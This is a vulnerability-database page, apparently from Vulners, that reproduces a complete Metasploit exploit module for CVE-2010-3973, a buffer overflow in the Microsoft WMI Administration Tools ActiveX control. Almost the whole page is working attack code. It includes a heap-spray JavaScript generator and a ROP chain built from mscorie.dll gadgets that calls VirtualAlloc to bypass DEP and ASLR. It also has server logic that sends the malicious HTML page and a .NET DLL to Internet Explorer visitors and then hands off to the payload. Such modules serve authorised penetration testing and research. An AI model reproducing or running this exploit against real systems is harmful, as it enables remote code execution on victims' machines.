Lucene search
K

Microsoft WMI Administration Tools ActiveX Buffer Overflow

🗓️ 22 Dec 2010 18:26:18Reported by WooYun, MC <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 66 Views

Microsoft WMI Administration Tools ActiveX Buffer Overflow. Memory trust issue allows arbitrary code execution via specially crafted HTML. Bypass DEP and ASLR

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :ua_name    => HttpClients::IE,
  #  :rank       => NormalRanking,
  #  :vuln_test  => nil,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow',
      'Description'    => %q{
          This module exploits a memory trust issue in the Microsoft WMI
        Administration tools ActiveX control. When processing a specially crafted
        HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat
        the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods
        as a trusted pointer. It makes an indirect call via this pointer which leads
        to arbitrary code execution.

        This exploit utilizes a combination of heap spraying and the
        .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
        opt-in to ASLR. As such, this module should be reliable on all Windows
        versions.

        The WMI Administrative Tools are a standalone download & install (linked in the
        references).

      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'WooYun', 'MC', 'jduck' ],
      'References'     =>
        [
          [ 'OSVDB', '69942'],
          [ 'CVE', '2010-3973' ],
          [ 'BID', '45546' ],
          [ 'URL', 'http://wooyun.org/bug.php?action=view&id=1006' ],
          [ 'URL', 'http://web.archive.org/web/20101228043011/http://secunia.com:80/advisories/42693' ],
          [ 'URL', 'http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6430f853-1120-48db-8cc5-f2abdc3ed314' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 512,
          'BadChars'      => "\x00",
          'DisableNops'   => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Windows Universal',  { 'SprayTarget' => 0x105ae020 } ],
          [ 'Debug Target (Crash)', { 'SprayTarget' => 0x70707070 } ] # must be < 0x80000000
        ],
      'DisclosureDate' => '2010-12-21',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    if agent =~ /MSIE 6\.0/ or agent =~ /MSIE 7\.0/ or agent =~ /MSIE 8\.0/
      mytarget = targets[1]
    else
      print_error("Unknown User-Agent #{agent}")
    end
    mytarget
  end

  def on_request_uri(cli, request)

    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    if request.uri == get_resource() or request.uri =~ /\/$/
      print_status("Sending redirect (target: #{mytarget.name})...")

      redir = get_resource()
      redir << '/' if redir[-1,1] != '/'
      redir << rand_text_alphanumeric(4+rand(4))
      redir << '.html'
      send_redirect(cli, redir)

    elsif request.uri =~ /\.html?$/
      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      print_status("Sending HTML (target: #{mytarget.name})...")

      # Generate the ROP payload
      buf_addr = mytarget['SprayTarget']
      rvas = rvas_mscorie_v2()
      rop_stack = generate_rop(buf_addr, rvas)

      fix_esp = rva2addr(rvas, 'pop ebp / ret')
      pivot1  = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
      pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

      pivot_str = Rex::Text.to_unescape([pivot1].pack('V'))

      special_sauce = [
        buf_addr + 0x10,
        pivot2, # becomes eip via trusted ptr
        fix_esp,
        0xdeadbeef,
        pivot1, # used by AddContextRef
        pivot1  # used by ReleaseContext
      ].pack('V*')

      # Append the payload to the rop_stack
      rop_stack << p.encoded

      # Add in the rest of the ROP stack
      special_sauce << rop_stack

      special_sauce = Rex::Text.to_unescape(special_sauce)
      shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
      nops      = Rex::Text.to_unescape(make_nops(4))
      js_function  = rand_text_alpha(rand(32)+1)
      vname  = rand_text_alpha(rand(32) + 1)

      clsid = "2745E5F5-D234-11D0-847A-00C04FD7BB08"
      progid = "WBEM.SingleViewCtrl.1"

      method_names = [
        "AddContextRef",
        "ReleaseContext"
      ]

      method_name = method_names[rand(method_names.length)]

      # Construct the heap spray javascript
      custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
#{vname}.#{method_name}(#{"0x%x" % buf_addr});
}
EOS
      js = heaplib(custom_js)

      dll_uri = get_resource()
      dll_uri << '/' if dll_uri[-1,1] != '/'
      dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

      # Construct the final page
      content = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl" />
<object classid="clsid:#{clsid}" id="#{vname}"></object>
</body>
</html>
EOS

      # Transmit the response to the client
      send_response_html(cli, content)

    elsif request.uri =~ /\.dll$/
      print_status("Sending DLL (target: #{mytarget.name})...")

      # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
      # use it's contents ...
      ibase = (0x2000 | rand(0x8000)) << 16
      dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

      # Send a .NET v2.0 DLL down
      send_response(cli, dll,
        {
          'Content-Type' => 'application/x-msdownload',
          'Connection'   => 'close',
          'Pragma'       => 'no-cache'
        })
    end

    # Handle the payload
    handler(cli)
  end

  def rvas_mscorie_v2()
    # mscorie.dll version v2.0.50727.3053
    # Just return this hash
    {
      'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
      'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
      'pop ebp / ret'          => 0x5557,
      'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
      'pop eax / ret'          => 0x5ba1,
      'pop ebx / ret'          => 0x54c0,
      'pop ecx / ret'          => 0x1e13,
      'pop esi / ret'          => 0x1d9a,
      'pop edi / ret'          => 0x2212,
      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
      'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
    }
  end

  def generate_rop(buf_addr, rvas)
    # ROP fun! (XP SP3 English, Dec 15 2010)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x63f00000,
      'imp_VirtualAlloc'       => 0x10f4
    })

    rop_stack = [
      # Allocate an RWX memory segment
      'pop ecx / ret',
      'imp_VirtualAlloc',

      'call [ecx] / pop ebp / ret 0xc',
      0,         # lpAddress
      0x1000,    # dwSize
      0x3000,    # flAllocationType
      0x40,      # flProt
      :unused,

      # Copy the original payload
      'pop ecx / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_dst,

      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
      :unused,

      'pop esi / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_src,

      'pop edi / ret',
      0xdeadf00d # to be filled in above
    ]
    (0x200 / 4).times {
      rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
    }
    # Execute the payload ;)
    rop_stack << 'call [ecx] / pop ebp / ret 0xc'

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      elsif e == :memcpy_src
        # Based on stack length..
        buf_addr + 0x18 + (rop_stack.length * 4)

      elsif e == :memcpy_dst
        # Store our new memory ptr into our buffer for later popping :)
        buf_addr + 0x18 + (21 * 4)

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Mar 2023 10:43Current
7.5High risk
Vulners AI Score7.5
CVSS 29.3
EPSS0.71735
66